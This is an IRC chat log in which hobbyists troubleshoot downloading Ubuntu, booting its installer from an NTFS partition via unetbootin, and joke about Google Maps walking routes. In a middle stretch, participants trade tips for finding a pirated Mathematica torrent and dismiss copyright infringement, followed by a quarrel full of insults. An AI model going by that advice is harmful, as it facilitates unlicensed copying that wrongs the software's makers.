18:39:05 <fizzie> 6 kb/sec is a rather respectable modem speed.
18:39:16 <alise> ais523: ok, this will be quicker: I'm coming to Birmingham; have an Ubuntu 9.10 USB stick ready when I arrive
18:39:17 <AnMaster> what fizzie said
18:39:19 <fizzie> I seem to recall some sort of "a megabyte per hour" rule of thumb.
18:39:20 <songhead95> sudo apt-get install sith
18:39:24 <AnMaster> he stole my joke
18:39:32 <ais523> alise: USB stick's ready already
18:39:38 <ais523> and are you /serious/?
18:39:44 <Deewiant> alise: 600 megabytes would take you several days with a modem connection; I wouldn't worry about a few hours
18:39:55 <alise> ais523: hmm... let me ask google maps
18:40:20 -!- songhead95 has quit (Quit: songhead95).
18:41:00 <alise> ais523: hmm... on public transport it'd take me anywhere between 7 and 10 hours
18:41:10 <alise> by car, only 3.5 hours
18:41:21 <alise> quick, use quantum mechanics to transfer a car here
18:41:37 <ais523> seems implausible
18:41:42 <alise> do you need -c to resume later?
18:41:45 <alise> or does it work anyway
18:41:47 <alise> say it works anyway
18:41:48 <alise> please
18:42:02 <fizzie> You don't need -c at the first invocation, if that's what you mean.
18:42:07 <fizzie> Only later when you're trying to resume.
18:42:12 <alise> good because it just broke
18:42:15 <alise> now what's the thing again to resume
18:42:34 <AnMaster> alise, wget -c foo
18:42:40 <alise> foo is url or filename
18:42:45 <AnMaster> alise, url
18:43:01 <alise> yay
18:43:05 <alise> now let's hope it actually resumes
18:43:05 <AnMaster> without -c wget will start downloading to <filename>.1
18:43:06 <AnMaster> instead
18:43:23 <AnMaster> alise, and lets hope there is no data corruption
18:43:33 <alise> no it will not resume
18:43:45 <AnMaster> alise, I remember downloading an iso (arch or ubuntu iirc) and the data was corrupted near the start
18:43:52 <AnMaster> since then I use bittorrent for linux iso downloads
18:43:58 <AnMaster> much more reliable
18:44:02 <alise> fine
18:44:03 <alise> fine
18:44:04 <alise> fine
18:44:15 <AnMaster> alise, it should resume
18:44:19 <AnMaster> strange if it doesn't
18:44:39 <fizzie> alise: I don't remember where you live, but walking from Hexham (which I think was at least nearby at some point) to where I live would take you just 5 days, 13 hours. (It involves some 371 steps; you take the Newcastle-Ijmuiden-Amsterdam ferry to Netherlands, then the Hoek van Holland-Harwich ferry back to UK, then the Harwich-Esbjerg ferry to Denmark; then you just walk across Denmark (a hundred miles or so), take another ferry to Rostock, and from there to H
18:44:39 <fizzie> elsinki, Finland.
18:44:40 <AnMaster> alise, does the server support not starting at the start?
18:44:54 <alise> Only 371 steps?
18:44:58 <alise> Impressive.
18:45:00 <AnMaster> "would take you just 5 days, 13 hours. (It involves some 371 steps;"
18:45:01 <alise> I assume you mean footsteps.
18:45:04 <AnMaster> hah
18:45:06 <AnMaster> alise, yeah same
18:45:15 <fizzie> Yes, with large enough boots.
18:45:35 <alise> ...Also, why on earth would you go back to the UK? :D
18:45:49 <fizzie> alise: Because Google Maps says so!
18:46:26 <AnMaster> so... UK->NL->UK->DK->FI?
18:46:38 <fizzie> AnMaster: You forgot Germany there. (Rostock's in Germany.)
18:46:39 <AnMaster> which seems on crack
18:46:42 <AnMaster> fizzie, oh
18:47:02 <AnMaster> fizzie, not over Sweden? He is missing out on stuff then
18:47:31 <fizzie> AnMaster: Presumably it's because walking is so slow; it's good to find routes where you don't have much walking between ferry stops.
18:48:08 <AnMaster> mhm
18:49:26 <fizzie> AnMaster: http://zem.fi/~fis/alise_walkabout.png
18:49:51 <Deewiant> That's a funny-looking loop near the Netherlands.
18:50:39 <fizzie> Deewiant: I asked it for walking directions from Copenhagen to Amsterdam (our summer trip goes thereby); it gave me this really silly denmark-norway-denmark-norway-UK-holland thing.
18:50:42 <AnMaster> fizzie, if it takes ferries, why not also take trains?
18:51:16 <fizzie> AnMaster: Walking directions are in beta, you see.
18:51:27 <AnMaster> hah
18:51:42 <Deewiant> fizzie: Walking directions might not be the best idea :-P
18:51:48 <oerjan> i suppose it includes ferries because sometimes you cannot avoid them, while you could always walk along the train tracks...
18:52:02 <alise> yay bittorrent download is going fast
18:52:02 <AnMaster> Deewiant, try walking directions from new york to somewhere in Europe
18:52:11 <Deewiant> No, I'd rather not
18:52:17 <fizzie> AnMaster: They removed the "swim over atlantic ocean" thing, I think.
18:52:18 <AnMaster> no not performing it
18:52:36 <AnMaster> fizzie, did that actually happen in it once?!
18:53:04 <alise> We could not calculate directions between new york and helsinki.
18:53:09 <alise> AnMaster: yes :)
18:53:13 <AnMaster> wonderful
18:53:21 <fizzie> AnMaster: See e.g. http://www.ghacks.net/2007/04/11/google-maps-swim-across-the-atlantic-ocean/
18:53:48 <alise> doesn't do helsinki to moscow anyway :(
18:53:50 <alise> *either
18:53:53 <Deewiant> The car-directions hexham->helsinki make more sense
18:54:06 <alise> Walking directions to Helsinki, Finland
18:54:07 <alise> 0.0 mi
18:54:07 <alise>
18:54:07 <alise> Helsinki
18:54:07 <alise> Finland
18:54:07 <fizzie> AnMaster: It still has "Kayak across the Pacific Ocean" as a possibility.
18:54:07 <alise> 1.Head east toward Simonkatu
18:54:07 <alise> 0.0 mi
18:54:08 <alise>
18:54:08 <alise> Helsinki
18:54:09 <alise> Finland
18:54:18 <fizzie> AnMaster: If you ask for "new york to sydney", for example.
18:54:28 <AnMaster> fizzie, what?
18:54:36 <AnMaster> fizzie, is that an easteregg then?
18:54:47 <AnMaster> I mean, it seems unlikely to be due to an oversight
18:55:04 <oerjan> you don't say <_<
18:55:14 <fizzie> AnMaster: Most likely. It's given for the "by car" directions, anyway, and I'm not sure how you're meant to take the car with you in the kayak.
18:55:26 <fizzie> That's one pretty big kayak.
18:56:34 <fizzie> 57. Take the 1st left onto Kalakaua Ave 1.9 mi
18:56:34 <fizzie> 58. Kayak across the Pacific Ocean
18:56:34 <fizzie> Entering Japan 3,879 mi
18:56:34 <fizzie> 59. Turn right toward 県道263号線 0.3 mi
18:56:35 <oerjan> clearly what you want is a large kon-tiki style raft big enough for a car
18:56:37 <AnMaster> fizzie, I get it for walking between New York and Hawaii
18:56:40 <AnMaster> 753.Kayak across the Pacific Ocean
18:56:40 <AnMaster> Entering Hawaii
18:56:41 <alise> .At the roundabout, take the 1st exit onto W Denton Way
18:56:41 <alise> Go through 1 roundabout
18:56:44 <alise> These are for the walking directions
18:56:46 <alise> o_o
18:57:05 <fizzie> alise: It should have a "Dodge the car's like it's Frogger!" written-in-red comment there. :p
18:57:10 <fizzie> Gah, "cars".
18:57:33 <AnMaster> alise, could it be that there are sidewalks?
18:57:58 <alise> "Go THROUGH 1 roundabout"
18:58:32 <pikhq> Clearly Google has a psychotic AI running that.
18:59:01 <fizzie> Deewiant: Anyway, I asked for walking directions because the only other alternative was "by car", and we're not going to have/rent one; it doesn't do trains. (Was there some sort of limited-region public transportation thing already?)
18:59:25 <alise> http://maps.google.com/maps?f=d&source=s_d&saddr=hexham&daddr=helsinki+to:brussels&hl=en&geocode=&mra=ls&dirflg=w&sll=-5.52475,179.448463&sspn=74.498813,114.433594&ie=UTF8&ll=48.806863,8.481445&spn=13.289494,28.608398&z=5
18:59:33 <alise> Hexham, Helsinki, Brussels.
18:59:41 <Deewiant> fizzie: You can always hitchhike.
18:59:48 <alise> It does public transport now, yes.
18:59:52 <alise> fizzie: You should have visited me.
18:59:55 <AnMaster> to go from stockholm to london by walking
19:00:01 <AnMaster> it tells me to visit riga on the way
19:00:24 <AnMaster> the route is even crazier for Stockholm to Manchester
19:00:31 <fizzie> Deewiant: In retrospect, the "by car" instructions worked better for my "I just want some sort of time estimate for the train routes" use anyway.
19:00:40 <Deewiant> fizzie: Yep
19:00:51 <AnMaster> also it seems to be non-deterministic
19:01:00 <AnMaster> I get different results when I retry the same search
19:01:16 <pineapple> fizzie: where are you trying to get to?
19:01:26 -!- oerjan has quit (Quit: Later).
19:01:39 <fizzie> pineapple: Nowhere at the moment, we have the routes all planned up already. I was just wondering back then.
19:02:50 <fizzie> Deewiant: It's a bit sad that I could find no sensible train routing system that'd export me a .gpx file. I toyed a bit with OpenStreetMap editors, but it seemed non-trivial to extract long-distance train route geodata from that either, since the tracks aren't very comprehensively grouped into sets, just partially-somewhere-a-bit.
19:03:35 <fizzie> Deewiant: In the end I just took a generic .gpx editor thing that could display openstreetmap layers, and added some manual polylines over the railway lines that we're going to take. (I wanted a map of our route to show to relatives.)
19:03:38 <Deewiant> I might be able to sympathize if I knew what a .gpx was, but I guess it's some standard format for that.
19:04:00 <fizzie> Deewiant: It's a bit like Google's KML; a XML format for tracks, waypoints and such.
19:04:01 <AnMaster> Stockholm-Rostock by walking takes you through first Tallinn then Helsinki
19:05:33 <fizzie> AnMaster: I'm not sure how comprehensive their ferry schedules are. They might not include those cruise-line corporations, even though those have those "route trip" style tickets in addition to the cruises.
19:05:52 <AnMaster> mhm
19:05:52 <fizzie> AnMaster: Certainly you can get directly from Stockholm to Helsinki, at the very least; most likely from Stockholm to Rostock too.
19:06:03 <AnMaster> fizzie, probably going by Åland
19:06:14 <AnMaster> due to the tax free reasons
19:08:14 <alise> You are not able to access this service because Content Control is in place.
19:08:15 <alise> If you're 18 years or over, you can remove Content Control by contacting your mobile service provider's customer support
19:08:15 <alise> team.
19:08:15 <alise> fucking piece of shit
19:08:28 <AnMaster> alise, what service?
19:08:37 <alise> vodafuckingfone
19:08:46 <AnMaster> alise, no, I mean the blocked one
19:08:49 <alise> tmobile do the same but i unlocked it on that one but that one is all flutty right nw so i'm using this one
19:08:50 <alise> imgur
19:08:53 <alise> as is all other image hosts
19:09:01 <alise> this stick is PAID FOR
19:09:08 <AnMaster> mhm
19:09:09 <alise> you have no right to fuck with the data I'M paying for, nanny
19:09:12 <alise> jesus
19:09:22 <fizzie> AnMaster: On the other hand, I 'm not sure you people need those ferries very much; you can just take one of those fancy-schmancy X2000 trains from Stockholm to Copenhagen, then another train from there to anywhere in Germany you'd like; that's what we're going to do, anyway.
19:09:42 <AnMaster> fizzie, mhm. X2000 aren't really fancy
19:09:52 <AnMaster> relatively slow compared to TGV and so on
19:09:53 <Deewiant> alise: Is pixlr.com blocked?
19:09:53 <fizzie> AnMaster: With that sort of name, it almost has to be.
19:10:03 <Deewiant> alise: If not, you can use that
19:10:04 <AnMaster> fizzie, you never went on X2000 before?
19:10:20 <alise> http://upurs.us/image/11623.jpeg
19:10:22 <fizzie> AnMaster: I haven't been going round Sweden much.
19:10:22 <alise> A jpeg but who cares
19:10:25 <AnMaster> fizzie, they are tilting trains though, might feel a bit strange when taking curves thus
19:10:35 <alise> You can almost ignore the bloat behind the screen.
19:10:51 <AnMaster> alise, that is able to resume downloads easily enough
19:10:51 <fizzie> AnMaster: Yes, I think they're not much different from the local Pendolino ones.
19:11:12 <alise> Of course, I like BitTorrent.
19:11:17 <alise> But uTorrent is normally a lot less simple than that.
19:11:19 <fizzie> AnMaster: (Except that ours break down all the time.)
19:11:30 <AnMaster> fizzie, so do ours sometimes
19:11:38 <AnMaster> fizzie, like last autumn or such
19:11:47 <alise> AnMaster: Example: http://blog.consultmirror.com/wp-content/uploads/2008/10/utorrent-general-view.png
19:11:50 <AnMaster> they had to take almost all out of service to replace the wheels
19:11:55 <AnMaster> due to some construction issue
19:11:57 <fizzie> "The Finnish Pendolinos have received a lot of bad publicity in Finland for their serious reliability issues, mostly caused by technical problems with their tilting system and couplers. The train did not manage to cope with the severe winter conditions."
19:12:23 <AnMaster> alise, I prefer that view :P
19:12:44 <alise> AnMaster: Madman.
19:12:49 <AnMaster> alise, why?
19:13:06 <alise> It is fluff with no purpose; statistics pon for people with no IRC to waste time on.
19:13:07 <alise> *porn
19:13:20 <AnMaster> heh
19:14:32 <alise> ehirdOS would be fine here because it would be less than 690 megabytes.
19:14:51 <fizzie> alise: Did you miss my QNX demo disk suggestion?-)
19:14:56 <alise> fizzie: No. :P
19:15:07 <pikhq> Eh, just use debug.com.
19:15:23 <fizzie> alise: The "QNX is Cool!" demo! How could you resist!
19:15:33 <alise> AnMaster: Lateral thinking puzzle: You have no optical drive, no USB sticks, no floppies, no storage media whatsoever. You have a hard drive, Windows and the interwebs. How do you boot the Ubuntu LiveCD to install it to the spare partition you have?
19:15:42 <alise> I worked it out. :P
19:16:20 <AnMaster> alise, you use wubi?
19:16:40 <alise> Wubi installs to a file in an NTFS partition, and does not boot the LiveCD.
19:16:45 <AnMaster> hrrm
19:16:50 <alise> (Yes, it literally /puts a Linux partition in a file on an NTFS partition/.)
19:16:52 <alise> (Awful.)
19:17:05 <AnMaster> alise, well do that but to the installer instead
19:17:16 <AnMaster> then load the whole thing into ram (hope it fits!)
19:17:23 <AnMaster> and work from there
19:17:26 <AnMaster> you have one go
19:17:27 <alise> No, what you said makes no sense.
19:17:29 <AnMaster> you can't mess it up
19:17:30 <alise> Try again.
19:17:41 <AnMaster> alise, well, repartition and put the thing there
19:17:47 <AnMaster> then boot that
19:18:03 <alise> How? You only have NTDLR.
19:18:14 <alise> It doesn't get Linux.
19:18:15 <AnMaster> alise, well you can chainload with ntdlr
19:18:15 <alise> It can't boot Linux.
19:18:22 <AnMaster> so yes it is possible
19:18:25 <alise> How?
19:18:26 <AnMaster> in fact I have done it
19:18:28 <alise> You only have Windows.
19:18:32 <alise> No LiveCD or anything to set this up.
19:18:38 <alise> You're on completely the wrong track.
19:18:40 <pikhq> Hmmm... Install a boot disk image that can read ISOs off of NTFS filesystems, chainload it from NTLDR, and have that boot into the LiveCD.
19:18:41 <AnMaster> alise, topology linux works kind of like wubi does
19:18:46 <AnMaster> it makes ntldr load grub
19:18:54 <AnMaster> to then boot linux
19:19:01 <AnMaster> I tried it many many years ago
19:19:17 <AnMaster> pikhq, that might work too
19:19:18 <alise> I'll just tell you.
19:19:22 <AnMaster> sure
19:19:24 <fizzie> I have done the "Linux in ntldr boot menu" thing too; it involves just extracting a 512-byte boot sector into file, and adding one line to boot.ini; or at least that's the way it worked with win2k.
19:19:35 <AnMaster> fizzie, something like that yes
19:19:42 <fizzie> I was thinking you'd just run the installer in a VM, with the spare partition direct-mounted, but that doesn't solve the booting thing really, I guess.
19:19:42 <alise> Use http://unetbootin.sourceforge.net/. It fucks with NTDLR to boot Linux from an NTFS partition (part of one that is not a whole one) prepared from the .iso you want.
19:19:51 <alise> You then use this to install Ubuntu, then reboot Windows; it will undo the changes.
19:20:17 <alise> Also, I've never heard of topology linux.
19:20:21 <alise> Google shows nothing.
19:20:26 <AnMaster> alise, ever heard of colinux?
19:20:54 <AnMaster> alise, I guess topology linux is dead then
19:20:56 <pikhq> It was a Slackware-based distro that installed onto an NTFS partition, could boot either onto the straight system or via coLinux.
19:21:04 <AnMaster> pikhq, ah yes you heard of it then
19:21:06 <pikhq> Been ages since I've seen it, though.
19:21:34 <fizzie> I seem to recall there was a Slackware installation method which puts the linux system in a FAT filesystem, not in a single file; all files are different FAT files, and there's one huge hidden metadata file to keep ownership and inode and real-filename information in.
19:21:45 <fizzie> And of course loadlin; I used to use loadlin to boot my first Slackware.
19:21:51 <AnMaster> heh
19:21:55 <fizzie> (With an entry in a dos 6.22 boot menu to directly invoke loadlin.)
19:22:03 <fizzie> I suppose loadlin's no-go in modern Windowses.
19:22:14 <pikhq> fizzie: Yeah, DragonLinux IIRC...
19:22:16 <AnMaster> alise, anyway I think it is likely your way will fuck up the system so you can't recover from it
19:22:27 <pikhq> UMSDOS is no longer maintained, so that doesn't work. ;)
19:22:42 <fizzie> Ah, yes, "umsdos" was the name.
19:22:42 <alise> AnMaster: why, because you say so? It is a supported method of install
19:22:47 <AnMaster> alise, hrrm
19:22:52 <fizzie> I was just googling for "udos", so that was pretty close.
19:22:58 <AnMaster> alise, what happens if the install fails when the disk is partly overwritten
19:23:30 <alise> AnMaster: Uh... you install onto a different partition.
19:23:38 <AnMaster> alise, how do you make the partition then?
19:23:42 <AnMaster> I mean
19:23:53 <AnMaster> normal windows system is one huge partition
19:24:03 <alise> Yes, but this is already partitioned into two, conveniently.
19:24:12 <AnMaster> alise, ah that helps a lot indeed
19:24:19 <fizzie> AnMaster: The original problem statement did involve "the spare partition you have".
19:24:26 <AnMaster> fizzie, must have missed that
19:25:39 <Deewiant> You can use partitionmagic to repartition anyway, if you're feeling lucky
19:25:49 <AnMaster> Deewiant, when running from the same system!?
19:26:09 <Deewiant> Yes, I think it can install something to do it at boot
19:26:16 <AnMaster> ah plausible
19:26:30 <AnMaster> would be replacing autochk entry I presume, like those "defrag on boot" tools do
19:26:31 <alise> It isn't from the same system
19:26:32 <alise> It reboots the system
19:26:41 <alise> and uses the tinkered bootloader to run the on-NTFS Linux
19:26:45 <AnMaster> alise, we were talking about repartitioning
19:27:01 <fizzie> PartitionMagic does (or did, anyway) that, yes; you queue the actions, it asks you to reboot, at boot-time it does the magic.
19:27:16 <AnMaster> fizzie, plausible but scary.
19:27:16 <alise> AnMaster: so do it from inside the ubuntu livecd
19:27:45 <AnMaster> alise, I wouldn't like that, if the file for the livecd image had to be moved
19:27:56 <fizzie> AnMaster: What would be scary would be to use some sort of alpha-quality parted NTFS resize patch. (I'm not sure if there is one yet, but I'm sure there will be at some point.)
19:28:18 <AnMaster> fizzie, you can use gparted to resize ntfs
19:28:20 <AnMaster> works fine
19:28:33 <AnMaster> but I wouldn't want parted running from the partition (or even disk) being resized
19:28:36 <fizzie> Oh? http://www.gnu.org/software/parted/features.shtml was lying to me, then.
19:28:46 <AnMaster> fizzie, gparted invokes ntfsresize then parted
19:29:06 <AnMaster> fizzie, so it doesn't let parted do the whole work
19:29:23 <AnMaster> fizzie, gparted is in fact more than just a GUI frontend to parted
19:29:50 <alise> AnMaster: just dont run anything new
19:29:52 <alise> *don't
19:29:54 <alise> and it won't need to touch the disk
19:29:55 <alise> :D
19:30:08 <AnMaster> alise, well, unlikely, any data moving will push things out of disk cache
19:30:18 <AnMaster> due to the large amounts of data being moved
19:30:22 <alise> it loads into ram
19:30:26 <alise> maybe unetbootin copies everything to ram anyway
19:30:29 <AnMaster> alise, so if I did it, I would do it from a ram disk indeed
19:30:30 <alise> for overwriting windows
19:30:58 <AnMaster> alise, and what if the install failed if you *are* overwriting linux. Yeah you are into deep problems, that's my point
19:31:45 <alise> *overwriting windows
19:31:51 <alise> Then you green.
19:31:56 <AnMaster> hrrm
19:32:07 <AnMaster> yeah overwriting windows
19:32:08 <AnMaster> still
19:32:21 <AnMaster> it is easy to end up with an unbootable system and no usb drive or cd to recover it from
19:32:26 <alise> Windows 7 isn't too bad.
19:32:31 <alise> Ubuntu is nicer though.
19:35:01 <AnMaster> alise, are you going to dual boot?
19:36:55 <alise> Yes, just in case.
19:37:03 <alise> And for lessriskiness of installation.
19:37:52 <AnMaster> true
19:38:05 <AnMaster> alise, how big is the disk?
19:40:38 <alise> 690 mb
19:41:51 <alise> why?
19:45:11 <alise> .
19:46:36 <alise> So slow.
19:52:14 <AnMaster> alise, err?
19:52:20 <AnMaster> 690 mb harddrive!?
19:52:46 <AnMaster> surely you are joking
19:53:13 <pikhq> Netbook.
19:53:31 <AnMaster> pikhq, even so, 690 mb. would be extreme
19:53:38 <AnMaster> you expect 10 gb at least
19:53:53 <alise> oh
19:53:53 <alise> you didn't mean the iso
19:54:02 <AnMaster> alise, indeed
19:54:04 <alise> no 2gb for netbooks
19:54:04 <alise> to 4gb
19:54:04 <alise> is the minimum
19:54:14 <AnMaster> alise, says who? microsoft?
19:54:15 <alise> (minimum, note)
19:54:35 <AnMaster> alise, so how large is your harddrive/SSD
19:54:36 <alise> it's just the minimum you see
19:54:43 <alise> e.g. the dell mini 9 comes with that by default, iirc
19:54:43 <alise> it's a 250gb hd divided in two partitions, anyway
19:54:47 <alise> WINDOWS and Data, which has hard drive recovery stuff by default
19:54:51 <alise> it's a hard drive not an ssd
19:54:59 <alise> it cost 497, not 1,500 :-)
19:55:29 -!- Gracenotes has quit (Ping timeout: 246 seconds).
19:55:35 <alise> 5350 kr
19:55:40 <alise> you swedetard
19:57:39 <Gregor> "swedetard"
19:57:40 <Gregor> Wow.
19:59:38 <alise> Yes.
19:59:39 <pikhq> alise: Could you put that in real money?
20:00:24 <alise> Yes; sec.
20:01:05 <alise> 9547252537776.06 ZW$
20:01:16 <alise> Hmm, that may be the pre-reset Zimbabwean dollar.
20:01:30 <pikhq> That's a few orders of magnitude too small.
20:01:43 <alise> Then it's the post-reset one.
20:01:50 <alise> (Where $1 became old $1bn)
20:01:57 <alise> $746, anyway
20:02:03 <alise> (US)
20:02:11 <alise> the use of the dollar as an official currency was effectively abandoned on 12 April 2009 as a result of the Reserve Bank of Zimbabwe legalising the use of foreign currencies for transactions in January 2009
20:02:13 -!- cheater2 has quit (Read error: Connection reset by peer).
20:02:16 <alise> meh
20:02:26 <pikhq> The USD isn't real currency. I was just mocking your country's lack of Euroness.
20:03:17 <alise> Wait, it was $10bn.
20:03:25 <alise> Yeah; Sweden needs to get on the Euro bandwagon.
20:03:29 <alise> What, you meant USD?!?!?!?!
20:03:46 <alise> erm
20:03:50 <alise> What, you meant UK?!?!?!?!
20:04:02 <pikhq> Yes.
20:04:14 <alise> *the UK
20:04:33 <alise> Maybe I'll go to Norway, they have the Euro :P
20:04:39 <pikhq> Heheh.
20:04:59 -!- cheater2 has joined.
20:05:28 <alise> But they also have... shudder.. Lutefisk.
20:09:09 <pikhq> Yes, they have caustic food.
20:09:37 <alise> Shudder.
20:11:15 * alise notes that there don't seem to be any pirate copies of mathematica for linux on the tubes
20:11:29 <alise> Well, none of 7 anyway.
20:11:34 -!- cheater2 has quit (Ping timeout: 264 seconds).
20:12:25 <Deewiant> You just haven't found them.
20:13:49 <alise> Rule 34.5.
20:13:51 <alise> :P
20:13:56 <alise> Mathematica porn!
20:16:43 <alise> Admittedly I don't have access to any actually decent torrent trackers.
20:16:53 <alise> Mathematica 5 2 Win Linux Mac software other operating systems applications windows
20:16:55 <alise> 5.2; wonderful.
20:17:47 <alise> >200kb download speed!
20:17:51 <alise> On a 3G stick!
20:17:52 <alise> Woot!
20:18:19 <alise> And back down again :P
20:19:15 <Deewiant> alise: Are you Google-deficient? "mathematica 7 linux torrent", top link.
20:20:38 <alise> I've never before had success using Google to find torrents.
20:21:03 <alise> Incidentally, Mathematica on OS X expands to a 4GB .app :x
20:21:06 <alise> when installed
20:22:07 <AnMaster> I just got back and read the line: "<alise> Mathematica porn!"
20:22:13 <AnMaster> I nearly puked
20:22:16 <AnMaster> :P
20:23:02 <AnMaster> alise, tpb has mathematica 7 for linux iirc
20:23:21 <AnMaster> by pure coincidence, so have I
20:23:30 <AnMaster> *completely* unrelated of course
20:23:45 <Deewiant> :-P
20:24:23 -!- cheater2 has joined.
20:26:11 <alise> Does it have any Linux-related shittiness?
20:26:19 <fax> alise why the fuck would you steal mathematica
20:26:33 <alise> Oh no, not an idiotic copyright defender.
20:26:38 <fax> fuck you
20:26:40 <fax> you're the idiot
20:26:53 <alise> Firstly, copyright infringement is - apart from being an uncrime invented by idiots - not theft even if you support it.
20:27:00 <alise> Economically, nonsense. Morally, nonsense.
20:27:07 <fax> firsly: shut up, you're an idiot
20:27:20 <Deewiant> I like how you both called each other idiots without even knowing what you were actually going to say
20:27:20 <alise> If you continue calling me an idiot without basis I will simply put you on /ignore.
20:27:40 <fax> good then you might stop telling me I suck
20:27:53 <alise> Deewiant: Well, I know he's a Wolfram fanboy and calling copyright infringement stealing along with the brash wording of "why the fuck would you steal mathematica" gave me a pretty good predictor
20:28:03 <alise> fax: I haven't done that but if you want to distort something I've said that way I won't stop you
20:28:19 <fax> alise, you're such an idiot you can't even remember something that happened this morning
20:29:43 <alise> just grepped the logs, I never said you sucked
20:30:07 <fax> okay well you could also learn to spell
20:30:32 <fax> 07:00:58 <fax> I don't know
20:30:32 <fax> 07:01:17 <alise> :|
20:30:32 <fax> 07:01:20 <alise> u suk
20:30:36 <alise> what?
20:30:50 <Deewiant> 5.5 hours ago
20:31:01 <fax> and it's rude to be all impatient like "I'm waiting" while someones trying to think
20:31:23 <alise> wow you're pissed off because I wasn't being totally serious all the time?
20:31:30 <alise> it's not like I didn't gratuitously adorn things with emoticons either
20:31:32 -!- Slereah has quit (Ping timeout: 246 seconds).
20:31:37 <alise> you're way too hypersensitive
20:31:45 <alise> s/^ //
20:32:27 <fax> alise: redunant
20:33:02 <alise> yawn.
20:36:12 -!- Slereah has joined.
20:38:00 -!- olsner_ has quit (Quit: olsner_).
20:40:22 <AnMaster> <alise> Does it have any Linux-related shittiness? <-- some
20:40:30 <AnMaster> alise, if you by that means "buggy"
20:40:40 <AnMaster> you need to disable the java stuff or it bogs down the whole system
20:40:45 <AnMaster> and you need to get some replacement files
20:40:54 <AnMaster> to fix other causes of bogging down the whole system
20:41:01 <AnMaster> the java stuff is needed for the built in help stuff
20:42:07 <fax> alise be nice to me :/
20:42:13 <Deewiant> I haven't run into any system-bogging, and the help has worked too :-P
20:42:20 <AnMaster> Deewiant, 64-bit edition?
20:42:28 <Deewiant> That too, yes
20:42:32 <AnMaster> Deewiant, check number of wakeups with powertop while mathematica is running
20:42:38 <AnMaster> it is caused around 5000 per seconds
20:42:48 <AnMaster> if java link is enabled
20:42:54 <Deewiant> That's not what I'd call "bogging down the whole system"
20:42:57 <AnMaster> Deewiant, on a laptop that just doesn't work
20:43:08 <AnMaster> Deewiant, well true, that is what the other replacement files fix
20:43:09 <Deewiant> It's using excessive amounts of power, but that's it
20:43:13 <AnMaster> the 100% CPU usage
20:43:27 <Deewiant> Yeah, see, the 100% CPU usage I haven't run into :-P
20:43:29 -!- sebbu2 has joined.
20:43:32 <AnMaster> Deewiant, well I did
20:43:52 <alise> fax: so be nice to me
20:43:57 <fax> fuck you
20:44:10 <alise> fax: see, this is /not/ the way you ask me to be nice to you
20:44:15 <AnMaster> fax, why do you think alise is an idiot for pirating mathematica
20:44:19 <AnMaster> I would like to hear a reason
20:44:26 <alise> AnMaster: because he's a wolfram fanboy and calls copyright infringement "stealing"
20:44:27 <fax> AnMaster, I just called him an idiot because he said that to me
20:44:30 <AnMaster> because this is ridiculous from both of you
20:44:33 <fax> alise you don't know anything
20:44:35 <alise> <3 Wolfram + Piracy is evil = you monster
20:44:42 <fax> seriouly just stop guessing
20:44:43 <AnMaster> <fax> alise why the fuck would you steal mathematica
20:44:43 <AnMaster> <alise> Oh no, not an idiotic copyright defender.
20:44:43 <AnMaster> <fax> fuck you
20:44:43 <AnMaster> <fax> you're the idiot
20:44:43 -!- sebbu has quit (Ping timeout: 276 seconds).
20:44:43 -!- sebbu2 has changed nick to sebbu.
20:44:44 <AnMaster> that
20:44:46 <AnMaster> is what I mean
20:44:53 <Deewiant> Yeah, that's what I commented on earlier
20:44:56 <AnMaster> fax, please explain what you meant with your first line there
20:44:57 <fax> AnMaster: yeah I just explained it
20:45:09 <AnMaster> fax, no, you didn't
20:45:19 <AnMaster> fax, you didn't explain "alise why the fuck would you steal mathematica"
20:45:26 <fax> what's to explain
20:45:34 <AnMaster> fax, that statement
20:45:42 <AnMaster> I can think of lots of reason to pirate mathematica
20:45:49 <AnMaster> so what is your reasons not to
20:46:32 <AnMaster> oh and wolfram is somwhat insane. He needs to get medical help before his ego kills him
20:48:45 <fax> http://upload.wikimedia.org/wikipedia/commons/0/06/Pentatope_of_70_spheres_animation_original.gif
20:54:00 -!- jcp has joined.
20:54:08 <alise> I'm going to boot into Ubuntu now.
20:54:12 -!- alise has quit.
21:00:26 <augur> i'd boot your ubu- oh. :|
21:03:02 -!- songhead95 has joined.
21:03:36 -!- songhead95 has quit (Remote host closed the connection).
21:04:18 -!- songhead95 has joined.
21:06:44 -!- MigoMipo has quit (Remote host closed the connection).
21:12:14 <fizzie> Deewiant: I don't suppose you happen to be on T-76.5753, incidentally?
21:12:33 <Deewiant> No, I'm not.
21:13:23 <fizzie> Deewiant: Why not!
21:13:45 <Deewiant> Too much work as it is.
21:13:59 <fizzie> Admittedly I had no reason to suspect you were, except that it would've been a Fancy Coincidence.
21:15:13 <fizzie> There's the © and ® characters in the "special characters" key-list on the N900, but no ™ :/ .. maybe because the first two are in latin-1 and that one is not, but that's not a good reason.
21:33:02 -!- MigoMipo has joined.
21:40:49 <ais523> hmm, worrying that alise hasn't come back
21:46:09 <pineapple> does ey do this often?
21:52:31 <fizzie> ais523: It's the Ubuntu, it's razzling-dazzling multimedia interface has locked him into a trance.
21:52:42 <ais523> heh
21:53:02 <fizzie> When you gaze into GNOME, the gnome also gazes at you.
21:53:12 <Deewiant> fizzie: Your apostrophes are extraneous again
21:53:26 <fizzie> Deewiant: I am being very bad with them today for some reason.
21:53:49 <fizzie> Deewiant: I shall try to avoid all contractions, maybe that will help.
21:54:20 <Deewiant> If you avoid possessives as well you should be fine.
22:18:26 -!- alise has joined.
22:18:30 <alise> Le puff, le pant.
22:19:49 <Deewiant> Success, evidently.
22:19:55 <alise> Of a sort...
22:20:30 <alise> Who knew that you needed to do a forced lazy unmount of the partition the system is running on to install Ubuntu?
22:23:36 <fizzie> It must be part of the built-in intelligence test, to see if you are Worthy of Ubuntu.
22:24:08 <alise> Someone ping me.
22:24:11 <alise> As in highlight.
22:25:03 <ais523> alise:
22:25:07 <ais523> yay, you're back
22:25:10 <alise> Yay, it worked.
22:25:21 <ais523> I was wondering why you took so long to come back
22:25:27 <alise> ais523: umount -f -l (a mount from the partition the system is running on)
22:25:37 <ais523> hmm, I didn't need to do that to install
22:25:42 <alise> I did!
22:25:53 <ais523> I don't think I used the command line at all, come to think of it
22:26:02 <ais523> except afterwards, to compile the wifi card driver
22:26:25 <alise> Well, I was running the LiveCD from an NTFS partition.
22:26:30 <alise> And /cdrom was C:\ whilst / was a subset of C:\.
22:26:43 <alise> I had to force-unmount /cdrom (it refused to do so because the device was being used) and then remount it again before it got to GRUB.
22:27:06 <ais523> NTFS? why?
22:27:30 <alise> because the Toshiba Satellite, as you know, has no optical drive; and I didn't have any USB sticks handy
22:27:36 <ais523> aha
